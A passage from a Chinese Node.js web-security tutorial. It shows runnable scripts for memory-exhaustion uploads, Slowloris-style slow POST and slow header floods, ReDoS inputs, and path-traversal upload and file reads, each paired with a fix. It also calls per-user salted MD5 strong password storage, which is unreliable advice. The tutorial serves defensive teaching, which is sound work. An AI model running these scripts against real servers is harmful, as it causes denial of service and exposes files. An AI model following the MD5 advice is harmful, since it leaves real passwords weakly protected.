不能用下面簡單的字符串拼接來代替,可能我收到的內容不是utf-8格式,另外從拼接性能上來說兩者也不是一個數量級的,我們看如下測試:

var buf = new Buffer('nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&nodejsv0.10.4&');
console.time('string += buf');
var s = '';
for(var i=0;i<100000;i++){
    s += buf;
}
s;
console.timeEnd('string += buf');


console.time('buf concat');
var list = [];
var len=0;
for(var i=0;i<100000;i++){
    list.push(buf);
    len += buf.length;
}
var s2 = Buffer.concat(list, len).toString();
console.timeEnd('buf concat');

這個測試腳本分別使用兩種不通的方式將buf連接10W次,并返回字符串,我們看下運行結果:

string += buf: 66ms
buf concat: 33ms

我們看到,運行性能相差了整整一倍,所以當我們在處理這類情況的數據時,建議使用Buffer.concat來做。

現在開始構建一個超大的具有700mbbuffer,然后把它保存成文件:

var fs = require('fs');
var buf = new Buffer(1024*1024*700);
buf.fill('h');
fs.writeFile('./large_file', buf, function(err){
  if(err) return console.log(err);
  console.log('ok')
})

我們構建攻擊腳本,把這個超大的文件發送出去,如果接收這個POST的Node.js服務器是內存只有512mb的小型云主機,那么當攻擊者上傳這個超大文件后,云主機內存會消耗殆盡。

var http = require('http');
var fs = require('fs');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/json',
  method: 'POST'
};
var request = http.request(options, function(res) {
    res.setEncoding('utf8');
    res.on('readable', function () {
      console.log(res.read());
    });
});
fs.createReadStream('./large_file').pipe(request);

我們看一下Node.js服務器在受攻擊前后內存的使用情況:

{ rss: 14225408, heapTotal: 6147328, heapUsed: 2688280 }
{ rss: 15671296, heapTotal: 7195904, heapUsed: 2861704 }
{ rss: 822194176, heapTotal: 78392696, heapUsed: 56070616 }
{ rss: 1575043072, heapTotal: 79424632, heapUsed: 43795160 }
{ rss: 1575579648, heapTotal: 80456568, heapUsed: 43675448 }

那么應該如何解決這類惡意攻擊呢?我們只需要將Node.js服務器代碼修改如下,就可以避免用戶上傳過大的數據了:

var http = require('http');
http.createServer(function (req, res) {
  if(req.url === '/json' && req.method === 'POST'){//獲取用上傳代碼
  var body = [];
  var len = 0;//定義變量用來記錄用戶上傳文件大小
    req.on('data',function(chunk){
        body.push(chunk);//獲取buffer
        len += chunk.length;
        if(len>=1024*1024){//每次收到一個buffer塊都要比較一下是否超過1mb
            res.end('too large');//直接響應錯誤
        }
    })
    req.on('end',function(){
       body = Buffer.concat(body,len);
       res.writeHead(200, {'Content-Type': 'text/plain'});
       //db.save(body) 這里數據庫入庫操作
       res.end('ok');
    })  
  }
}).listen(8124);

通過上述代碼的調整,我們每次收到一個buffer塊都會去比較一下大小,如果數據超大則立刻截斷上傳,保證惡意用戶無法上傳超大文件消耗服務器物理內存。

Slowlori攻擊

POST慢速DoS攻擊是在2010年OWASP大會上被披露的,這種攻擊方式針對配置較低的服務器具有很強的威力,往往幾臺攻擊客戶端就可以輕松擊垮一臺web應用服務器。

攻擊者先向web應用服務器發起一個正常的POST請求,設定一個在web服務器限定范圍內并且比較大的Content-Length,然后以非常慢的速度發送數據,比如30秒左右發送一次10byte的數據給服務器,保持這個連接不釋放。因為客戶端一直在向服務器發包,所以服務器也不會認為連接超時,這樣服務器的一個tcp連接就一直被這樣一個慢速的POST占用,極大的浪費了服務器資源。

這個攻擊可以針對任意一個web服務器進行,所以受眾面非常廣;而且此類攻擊手段非常簡單和廉價,一般一臺普通的個人計算機就可以提供2-3千個tcp連接,所以只要同時有幾臺攻擊機器,web服務器可能立刻就會因為連接數耗盡而拒絕服務。

下面是一個Node.js版本的Slowlori攻擊惡意腳本:

var http = require('http');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/json',
  method: 'POST',
  headers:{
  "Content-Length":1024*1024
  }
};
var max_conn = 1000;
http.globalAgent.maxSockets = max_conn;//設定最大請求連接數
var reqArray = [];
var buf = new Buffer(1024);
buf.fill('h');
while(max_conn--){
  var req = http.request(options, function(res) {
      res.setEncoding('utf8');
      res.on('readable', function () {
        console.log(res.read());
      });
  });
  reqArray.push(req);
}
setInterval(function(){//定時隔5秒發送一次
  reqArray.forEach(function(v){
    v.write(buf);
  })
},1000*5);

由于Node.js的天生單線程優勢,我們可以只寫一個定時器,而不用像其他語言創建1000個線程,每個線程里面一個定時器在那里跑。有網友經過測試,發現慢POST攻擊對Apache的效果十分明顯,ApachemaxClients幾乎在瞬間被鎖住,客戶端瀏覽器在攻擊進行期間甚至無法訪問測試頁面。

想要抵擋這類慢POST攻擊,我們可以在Node.js應用前面放置一個靠譜的web服務器,比如Nginx,合理的配置可以有效的減輕這類攻擊帶來的影響。

Http Header攻擊

一般web服務器都會設定HTTP請求頭的接收時長,是指客戶端在指定的時長內必須把HTTPhead發送完畢。如果web服務器在這方面沒有做限制,我們也可以用同樣的原理慢速的發送head數據包,造成服務器連接的浪費,下面是攻擊腳本代碼:

var net = require('net');
var maxConn = 1000;
var head_str = 'GET / HTTP/1.1\r\nHost: 192.168.17.55\r\n'
var clientArray = [];
while(maxConn--){
  var client = net.connect({port: 8124, host:'192.168.17.55'});
    client.write(head_str);
    client.on('error',function(e){
       console.log(e)
    })
    client.on('end',function(){
       console.log('end')
    })
    clientArray.push(client);
}
setInterval(function(){//定時隔5秒發送一次
  clientArray.forEach(function(v){
      v.write('xhead: gap\r\n');
  })
},1000*5);

這里定義了一個永遠發不完的請求頭,定時每5秒鐘發送一個,類似慢POST攻擊,我們慢慢悠悠的發送HTTP請求頭,當連接數耗盡,服務器也就拒絕響應服務了。

隨著我們連接數增加,最終Node.js服務器可能會因為打開文件數過多而崩潰:

/usr/local/nodejs/test/http_server.js:10
        console.log(process.memoryUsage());
                            ^
Error: EMFILE, too many open files
    at null.<anonymous> (/usr/local/nodejs/test/http_server.js:10:22)
    at wrapper [as _onTimeout] (timers.js:252:14)
    at Timer.listOnTimeout [as ontimeout] (timers.js:110:15)

Node.js對用戶HTTP的請求響應頭做了大小限制,最大不能超過50KB,所以我無法向HTTP請求頭里發送大量的數據從而造成服務器內存占用,如果web服務器沒有做這個限制,我們可以利用POST發送大數據那樣,將一個超大的HTTP頭發送給服務器,惡意消耗服務器的內存。

正則表達式的DoS

日常使用判斷用戶輸入是否合法的正則表達式,如果書寫不夠規范也可能成為惡意用戶攻擊的對象。

正則表達式引擎NFA具有回溯性,回溯的一個重要負面影響是,雖然正則表達式可以相當快速地計算確定匹配(輸入字符串與給定正則表達式匹配),但確認否定匹配(輸入字符串與正則表達式不匹配)所需的時間會稍長。實際上,引擎必須確定輸入字符串中沒有任何可能的“路徑”與正則表達式匹配才會認為否定匹配,這意味著引擎必須對所有路徑進行測試。

比如,我們使用下面的正則表達式來判斷字符串是不是全部為數字:

^\(d+)$

先簡單解釋一下這個正則表達式,^$分別表示字符串的開頭和結尾嚴格匹配,\d代表數字字符,+表示有一個或多個字符匹配,上面這個正則表達式表示必須是一個或多個數字開頭并且以數字結尾的純數字字符串。

如果待匹配字符串全部為純數字,那這是一個相當簡單的匹配過程,下面我們使用字符串123456X作為待判斷字符串來說明上述正則表達式的詳細匹配過程。

字符串123456X很明顯不是匹配項,因為X不是數字字符。但上述正則表達式必須計算多少個路徑才能得出此結論呢?從此字符串第一位開始計算,發現字符1是一個有效的數字字符,與此正則表達式匹配。然后它會移動到字符2,該字符也匹配。在此時,正則表達式與字符串12匹配。然后嘗試3(匹配123),依次類推,一直到到達X,得出結論該字符不匹配。

但是,由于正則表達式引擎的回溯性,它不會在此點上停止,而是從其當前的匹配123456返回到上一個已知的匹配12345,從那里再次嘗試匹配。

由于5后面的下一個字符不是此字符串的結尾,因此引擎認為不是匹配項,接著它會返回到其上一個已知的匹配1234,再次進行嘗試匹配。按這種方式進行所有匹配,直到此引擎返回到其第一個字符1,發現1后面的字符不是字符串的結尾,此時,匹配停止。

總的說來,此引擎計算了六個路徑:123456123451234123121。如果此輸入字符串再增加一個字符,則引擎會多計算一個路徑。因此,此正則表達式是相對于字符串長度的線性算法,不存在導致DoS的風險。

這類計算一般速度非常迅速,可以輕松拆分長度超過1萬的字符串。但是,如果我們對此正則表達式進行細微的修改,情況可能大不相同:

^(\d+)+$

分組表達式(\d+)后面有額外的+字符,表明此正則表達式引擎可匹配一個或多個的匹配組(\d+)

我們還是輸入123456X字符串作為待匹配字符串,在匹配過程中,計算到達123456之后回溯到12345,此時引擎不僅會檢查到5后面的下一個字符不是此字符串的結尾,而且還會將下一個字符6作為新的匹配組,并從那里重新開始檢查,一旦此匹配失敗,它會返回到1234,先將56作為單獨的匹配組進行匹配,然后將56分別作為單獨的匹配組進行計算,這樣直到返回1為止。

這樣攻擊者只要提供相對較短的輸入字符串大約30 個字符左右,就可以讓匹配所需時間大大增加,下面是相關測試代碼:

var regx = /^(\d+)$/;
var regx2 = /^(\d+)+$/;
var str = '1234567890123456789012345X';
console.time('^\(d+)$');
regx.test(str);
console.timeEnd('^\(d+)$');
console.time('^(\d+)+$');
regx2.test(str);
console.timeEnd('^(\d+)+$');

我們用正則表達式^(\d+)$^(\d+)+$分別對一個長度為26位的字符串進行匹配操作,執行結果如下:

^(d+)$: 0ms
^(d+)+$: 866ms

如果我們繼續增加待檢測字符串的長度,那么匹配時間將成倍的延長,從而因為服務器cpu頻繁計算而無暇處理其他任務,造成拒絕服務。下面是一些有問題的正則表達式示例:

^(\d+)*$ 
^(\d*)*$ 
^(\d+|\s+)*$

當正則漏洞隱藏于一些比較長的正則表達式中時,可能更加難以發現:

^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$

上述正則表達式是在正則表達式庫網站(regexlib.com)上找到的,我們可以通過如下代碼進行簡單的測試:

var regx = /^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$/;
var str1 = '123@1234567890.com';
var str2 = '123@163';//正常用戶忘記輸入.com了
var str3 = '123@1234567890123456789012345..com';//惡意字符串
console.time('str1');
regx.test(str1);
console.timeEnd('str1');
console.time('str2');
regx.test(str2);
console.timeEnd('str2');
console.time('str3');
regx.test(str3);
console.timeEnd('str3');

我們執行上述代碼,結果如下:

str1: 0ms
str2: 0ms
str3: 1909ms

輸入正確、正常錯誤和惡意代碼的執行結果區別很大,如果我們惡意代碼不斷加長,最終將導致服務器拒絕服務,上述這個正則表達式的漏洞之處就在于它企圖通過使用對分組后再進行+符號的匹配,它原來的目的是為驗證多級域名下的合法郵箱地址,例如:abc@aaa.bbb.ccc.gmail.com,沒想到卻成為了漏洞。

正則表達式的DoS不僅僅局限于Node.js語言,使用任何一門語言進行開發都需要面臨這個問題,當然在使用正則來編寫express框架的路由時尤其需要注意,一個不好的正則路由匹配可能會被惡意用戶DoS攻擊,總之在使用正則表達式時我們應該多留一個心眼,仔細檢查它們是否足夠強壯,避免被DoS攻擊。

文件路徑漏洞

文件路徑漏洞也是非常致命的,常常伴隨著被惡意用戶掛木馬或者代碼泄漏,由于Node.js提供的HTTP模塊非常的底層,所以很多工作需要開發者自己來完成,可能因為業務比較簡單,不去使用成熟的框架,在寫代碼時稍不注意就會帶來安全隱患。

本章將會通過制作一個網絡分享的網站,說明文件路徑攻擊的兩種方式。

上傳文件漏洞

文件上傳功能在網站上是很常見的,現在假設我們提供一個網盤分享服務,用戶可以上傳待分享的文件,所有用戶上傳的文件都存放在/file文件夾下。其他用戶通過瀏覽器訪問'/list'看到大家分享的文件。

首先,我們要啟動一個HTTP服務器,為用戶訪問根目錄/提供一個可以上傳文件的靜態頁面。

var http = require('http');
var fs = require('fs');
var upLoadPage = fs.readFileSync(__dirname+'/upload.html');
//讀取頁面到內存,不用每次請求都去做i/o
http.createServer(function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/html'});//響應頭設置html
  if(req.url === '/' && req.method === 'GET'){//請求根目錄,獲取上傳文件頁面
        return res.end(upLoadPage);
  }
  if(req.url === '/list' && req.method === 'GET'){//列表展現用戶上傳的文件
        fs.readdir(__dirname+'/file', function(err,array){
            if(err) return res.end('err');
            var htmlStr='';
            array.forEach(function(v){
                htmlStr += '<a href="/file/'+v+'" target="_blank">'+v+'</a> <br/><br/>'
            });
            res.end(htmlStr);
        })
        return;
  }
  if(req.url === '/upload' && req.method === 'POST'){//獲取用上傳代碼,稍后完善 
        return;
  }
  if(req.url === '/file' && req.method === 'GET'){//可以直接下載用戶分享的文件,稍后完善 
        return;
  }
  res.end('Hello World\n');
}).listen(8124);

我們啟動了一個web服務器監聽8124端口,然后寫了4個路由配置,分別是:

(1)輸出upload.html靜態頁面;

(2)展現所有用戶上傳文件列表的頁面;

(3)接受用戶上傳文件功能;

(4)單獨輸出某一個分享文件詳細內容的功能,這里出于簡單我們只分享文字。

upload.html文件代碼如下,它是一個具有的form表單上傳文件功能的靜態頁面:

<!DOCTYPE>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>upload</title>
</head>
<body>
<h1>網絡分享平臺</h1>
<form method="post" action="/upload" enctype="multipart/form-data">
    <p>選擇文件:<p>
    <p><input type="file" name="myfile" /></p>
    <button type="submit">完成提交</button>
</form>
</body>
</html>

接下來我們就需要完成整個分享功能的核心部分,接收用戶上傳的文件然后保存在/file文件夾下,這里我們暫時不考慮用戶上傳文件重名的問題。我們利用formidable包來處理文件上傳的協議細節,所以我們先執行npm install formidable命令安裝它,下面是處理用戶文件上傳的相關代碼:

...

var formidable = require('formidable');

http.createServer(function (req, res) {

  ...

    if(req.url === '/upload' && req.method === 'POST'){//獲取用上傳代碼
        var form = new formidable.IncomingForm();
        form.parse(req, function(err, fields, files) {
          res.writeHead(200, {'content-type': 'text/plain'});
          var filePath = files.myfile.path;//獲得臨時文件存放地址
          var fileName = files.myfile.name;//原始文件名
          var savePath = __dirname+'/file/';//文件保存路徑
          fs.createReadStream(filePath).pipe(fs.createWriteStream(savePath+fileName));
          //將文件拷貝到file目錄下
          fs.unlink(filePath);//刪除臨時文件
          res.end('success');
        });
        return;
  }

 ...

}).listen(8124);

通過formidable包接收用戶上傳請求之后,我們可以獲取到files對象,它包括了name文件名,path臨時文件路徑等屬性,打印如下:

{ myfile:
   { domain: null,
     size: 4,
     path: 'C:\\Users\\snoopy\\AppData\\Local\\Temp\\a45cc822df0553a9080cb3bfa1645fd7',
     name: '111.txt',
     type: 'text/plain',
     hash: null,
     lastModifiedDate: null,
     }
 }

我們完善了/upload路徑下的代碼,利用formidable包很容易就獲取了用戶上傳的文件,然后我們把它拷貝到/file文件夾下,并重命名它,最后刪除臨時文件。

我們打開瀏覽器,訪問127.0.0.1:8124上傳文件,然后訪問127.0.0.1:8124/list,通過下面的圖片可以看到文件已經上傳成功了。

upload 1

可能細心的讀者已經發現這個上傳功能似乎存在問題,現在我們開始構建攻擊腳本,打算將hack.txt木馬掛載到網站的根目錄中,因為我們規定用戶上傳的文件必須在/file文件夾下,所以如果我們將文件上傳至網站根目錄,可以算是一次成功的掛馬攻擊了。

我們將模擬瀏覽器發送一個上傳文件的請求,構建惡意腳本如下:

var http = require('http');
var fs = require('fs');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/upload',
  method: 'POST'
};
var request = http.request(options, function(res) {});
var boundaryKey = Math.random().toString(16); //隨機分割字符串
request.setHeader('Content-Type', 'multipart/form-data; boundary="'+boundaryKey+'"');
//設置請求頭,這里需要設置上面生成的分割符
request.write( 
  '--' + boundaryKey + '\r\n'
  //在這邊輸入你的mime文件類型
  + 'Content-Type: application/octet-stream\r\n' 
  //"name"input框的name
  //"filename"文件名稱,這里就是上傳文件漏洞的攻擊點
  + 'Content-Disposition: form-data; name="myfile"; filename="../hack.txt"\r\n' //注入惡意文件名
  + 'Content-Transfer-Encoding: binary\r\n\r\n' 
);
fs.createReadStream('./222.txt', { bufferSize: 4 * 1024 })
  .on('end', function() {
    //加入最后的分隔符
    request.end('\r\n--' + boundaryKey + '--'); 
  }).pipe(request) //管道發送文件內容

我們在啟動惡意腳本之前,使用dir命令查看目前網站根目錄下的文件列表:

2013/11/26  15:04    <DIR>          .
2013/11/26  15:04    <DIR>          ..
2013/11/26  13:13             1,409 app.js
2013/11/26  13:53    <DIR>          file
2013/11/26  15:04    <DIR>          hack
2013/11/26  13:44    <DIR>          node_modules
2013/11/26  11:04               368 upload.html

app.js是我們之前的服務器文件,hack文件夾存放的就是惡意腳本,下面是執行惡意腳本之后的文件列表

2013/11/26  15:09    <DIR>          .
2013/11/26  15:09    <DIR>          ..
2013/11/26  13:13             1,409 app.js
2013/11/26  13:53    <DIR>          file
2013/11/26  15:04    <DIR>          hack
2013/11/26  15:09                12 hack.txt
2013/11/26  13:44    <DIR>          node_modules
2013/11/26  11:04               368 upload.html

我們看到多了一個hack.txt文件,這說明我們成功的向網站根目錄上傳了一份惡意文件,如果我們直接覆蓋upload.html文件,甚至可以修改掉網站的首頁,所以此類漏洞危害非常之大。我們關注受攻擊點的代碼:

fs.createReadStream(filePath).pipe(fs.createWriteStream(savePath+fileName));

我們草率的把文件名和保存路徑直接拼接,這是非常有風險的,幸好Node.js提供給我們一個很好的函數來過濾掉此類漏洞。我們把代碼修改成下面那樣,惡意腳本就無法直接向網站根目錄上傳文件了。

fs.createReadStream(filePath).pipe(fs.createWriteStream(savePath + path.basename(fileName)));

通過path.basename我們就能直接獲取文件名,這樣惡意腳本就無法再利用相對路徑../進行攻擊。

文件瀏覽漏洞

用戶上傳分享完文件,我們可以通過訪問/list來查看所有文件的分享列表,通過點擊的<a>標簽查看此文件的詳細內容,下面我們把顯示文件詳細內容的代碼補上。

...

http.createServer(function (req, res) {

  ...

    if(req.url.indexOf('/file') === 0 && req.method === 'GET'){//可以直接下載用戶分享的文件
        var filePath = __dirname + req.url; //根據用戶請求的路徑查找文件
        fs.exists(filePath, function(exists){
            if(!exists) return res.end('not found file'); //如果沒有找到文件,則返回錯誤
            fs.createReadStream(filePath).pipe(res); //否則返回文件內容
        })
        return;
    }

 ...

}).listen(8124);

聰明的讀者應該已經看出其中代碼的問題了,如果我們構建惡意訪問地址:

http://127.0.0.1:8124/file/../app.js

這樣是不是就將我們啟動服務器的腳本文件app.js直接輸出給客戶端了呢?下面是惡意腳本代碼:

var http = require('http');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/file/../app.js',
  method: 'GET'
};
var request = http.request(options, function(res) {
    res.setEncoding('utf8');
    res.on('readable', function () {
      console.log(res.read())
    });
});
request.end();

在Node.js的0.10.x版本新增了stream的`readable事件,然后可直接調用res.read()讀取內容,無須像以前那樣先監聽date事件進行拼接,再監聽end事件獲取內容了。

惡意代碼請求了/file/../app.js路徑,把我們整個app.js文件打印了出來。造成我們惡意腳本攻擊成功必然是如下代碼:

var filePath = __dirname + req.url;

相信有了之前的解決方案,這邊讀者自行也可以輕松搞定。

加密安全

我們在做web開發時會用到各種各樣的加密解密,傳統的加解密大致可以分為三種:

(1)對稱加密,使用單密鑰加密的算法,即加密方和解密方都使用相同的加密算法和密鑰,所以密鑰的保存非常關鍵,因為算法是公開的,而密鑰是保密的,常見的對稱加密算法有:AESDES等。

(2)非對稱加密,使用不同的密鑰來進行加解密,密鑰被分為公鑰和私鑰,用私鑰加密的數據必須使用公鑰來解密,同樣用公鑰加密的數據必須用對應的私鑰來解密,常見的非對稱加密算法有:RSA等。

(3)不可逆加密,利用哈希算法使數據加密之后無法解密回原數據,這樣的哈希算法常用的有:md5SHA-1等。

我們在開發過程中可以使用Node.js的Crypto模塊來進行相關的操作。

md5存儲密碼

在開發網站用戶系統的時候,我們都會面臨用戶的密碼如何存儲的問題,明文存儲當然是不行的,之前有很多歷史教訓告訴我們,明文存儲,一旦數據庫被攻破,用戶資料將會全部展現給攻擊者,給我們帶來巨大的損失。

目前比較流行的做法是對用戶注冊時的密碼進行md5加密存儲,下次用戶登錄的時候,用同樣的算法生成md5字符串和數據庫原有的md5字符串進行比對,從而判斷密碼正確與否。

這樣做的好處不言而喻,一旦數據泄漏,惡意用戶也是無法直接獲取用戶密碼的,因為md5加密是不可逆的。

但是md5加密有一個特點,同樣的一個字符串經過md5哈希計算之后總是會生成相同的加密字符串,所以攻擊者可以利用強大的md5彩虹表來逆推加密前的原始字符串,下面我們來看個例子:

var crypto = require('crypto');
var md5 = function (str, encoding){
  return crypto
    .createHash('md5')
    .update(str)
    .digest(encoding || 'hex');
};
var password = 'nodejs';
console.log(md5(password));

上面代碼我們對字符串nodejs進行了md5加密存儲,打印的加密字符串如下:

671a0da0ba061c98de801409dbc57d7e

我們通過谷歌搜索md5解密關鍵字,進入一個在線md5破解的網站,輸入剛才的加密字符串進行破解:

md5 1

我們發現雖然md5加密不可逆,但還是被破解出來了。于是我們改良算法,為所有用戶密碼存儲加上統一的salt值,而不是直接的進行md5加密:

var crypto = require('crypto');
var md5 = function (str, encoding){
  return crypto
    .createHash('md5')
    .update(str)
    .update('abc') //這邊加入固定的salt值用來加密
    .digest(encoding || 'hex');
};
var password = 'nodejs';
console.log(md5(password));

這次我們對用戶密碼增加saltabc進行加密,我們還是把生成的加密字符串放入破解網站進行破解:

md5 2

網站提示我們要交費才能查看結果,但是密碼還是被它破解出來了,看來一些統一的簡單的salt值是無法滿足加密需求的。

所以比較好的保存用戶密碼的方式應該是在user表增加一個salt字段,每次用戶注冊都要去隨機生成一個位數夠長的salt字符串,然后再根據這個salt值加密密碼,相關流程代碼如下:

var crypto = require('crypto');
var md5 = function (str, encoding){
  return crypto
    .createHash('md5')
    .update(str)
    .digest(encoding || 'hex');
};
var gap = '-';
var password = 'nodejs';
var salt = md5(Date.now().toString());
var md5Password = md5(salt+gap+password);
console.log(md5Password);
//0199c7e47cb9b55adac21ebc697673f4

這樣我們生成的加密密碼是足夠強壯的,就算攻擊者拿到了我們數據庫,由于他沒有我們的代碼,不知道我們的加密規則所以也就很難破解用戶的真實密碼,而且每個用戶的密碼加密salt值都不同,對破解也帶來不少難度。

小結

web安全是我們必須關注且無法逃避的話題,本章介紹了各種常見的web攻擊技巧和應對方案,特別是針對Node.js這門新興起的語言,安全更為重要。我們建議每一位站長在把Node.js部署到生產環境時,將Node.js應用放置在Nginx等web服務器后方,畢竟Node.js還很年輕,需要有一位老大哥將還處于兒童期的Node.js保護好,而不是讓它直接面臨互聯網的各種威脅。

對于例如SQLXSS等注入式攻擊,我們一定要對用戶輸入的內容進行嚴格的過濾和審查,這樣可以避免絕大多數的注入式攻擊方式,對于DoS攻擊我們就需要使用各種工具和配置來減輕危害,另外容易被DDoS(Distributed Denial of Service 分布式拒絕服務)攻擊的還有HTTPS服務,在一般不配備SSL加速卡的服務器上,HTTPHTTPS處理性能上要相差幾十甚至上百倍。

最后我們必須做好嚴密的系統監控,一旦發現系統有異常情況,必須馬上能做出合理的響應措施。

參考文獻

項目主頁:http://www.baiduhome.net/lib/view/home/1390654081789

 本文由用戶 jopen 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!